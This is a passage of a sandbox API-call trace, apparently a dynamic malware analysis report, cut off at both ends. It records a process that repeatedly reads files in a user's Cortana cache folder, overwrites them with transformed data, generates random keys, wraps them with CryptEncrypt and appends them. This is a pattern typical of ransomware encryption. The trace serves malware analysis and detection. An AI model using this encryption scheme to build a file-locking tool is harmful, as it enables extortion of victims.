nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.433] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.433] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.433] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.433] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.433] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.433] CloseHandle (hObject=0x1af4) returned 1 [0180.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.435] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}", dwFileAttributes=0x80) returned 1 [0180.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc8b8 [0180.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.436] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cbf5e617-6ef4-410e-8402-bdb7bbf74c0c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.437] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.437] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.438] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.438] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.441] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.442] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.442] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.442] CloseHandle (hObject=0x1af4) returned 1 [0180.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0180.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CB298749-48A1-4798-9A9A-8B43AB5322B0}", dwFileAttributes=0x80) returned 1 [0180.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc540 [0180.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.443] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{CB298749-48A1-4798-9A9A-8B43AB5322B0}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{cb298749-48a1-4798-9a9a-8b43ab5322b0}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.444] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.444] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.445] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.446] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.446] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.446] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.446] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.446] CloseHandle (hObject=0x1af4) returned 1 [0180.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.448] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.448] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}", dwFileAttributes=0x80) returned 1 [0180.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dbad8 [0180.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.448] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c9f8ee44-9323-44c4-9cc8-08b4a25945b1}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.449] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.449] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.450] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.450] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.451] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.451] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.451] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.451] CloseHandle (hObject=0x1af4) returned 1 [0180.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}", dwFileAttributes=0x80) returned 1 [0180.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc668 [0180.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.455] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c6d1db9a-a97a-4235-a8b7-edc02b3fa8ce}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.455] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.455] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.510] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.510] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.511] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.511] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.511] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.511] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.511] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.511] CloseHandle (hObject=0x1af4) returned 1 [0180.513] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.513] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.513] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}", dwFileAttributes=0x80) returned 1 [0180.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dcb08 [0180.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c6a43e66-7b5a-4590-a7f3-a33d6f9781a8}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.514] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.514] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.516] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.516] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.516] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.516] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.516] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.517] CloseHandle (hObject=0x1af4) returned 1 [0180.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}", dwFileAttributes=0x80) returned 1 [0180.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc790 [0180.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c4f78a21-2302-4caa-90bc-87db6fae5d46}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.519] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.519] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.527] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.527] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.528] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.528] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.528] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.528] CloseHandle (hObject=0x1af4) returned 1 [0180.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.530] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}", dwFileAttributes=0x80) returned 1 [0180.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30dc790 [0180.530] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0180.530] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{c4d5ae10-76af-425b-81aa-7aeed53bf3f7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.531] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30dd050 [0180.531] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1096) returned 0x30de0f0 [0180.531] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.532] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.532] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.532] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 